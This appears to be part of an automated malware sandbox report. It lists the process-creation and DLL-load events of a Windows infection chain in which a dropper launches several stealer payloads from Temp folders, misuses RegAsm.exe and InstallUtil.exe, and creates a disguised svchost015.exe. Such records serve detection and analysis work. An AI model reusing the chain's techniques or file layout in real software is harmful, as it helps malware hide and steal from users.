Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4024 -ip 4024
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 904
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe "C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe "C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe"
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Process created: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe "C:\Users\user\AppData\Local\Temp\1000065001\stories.exe"
Source: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe Process created: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp "C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp" /SL5="$8045C,2980754,56832,C:\Users\user\AppData\Local\Temp\1000065001\stories.exe"
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Process created: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe "C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe" -i
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4024 -ip 4024
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 904
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: esdsip.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: esdsip.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Section loaded: ncrypt.dll
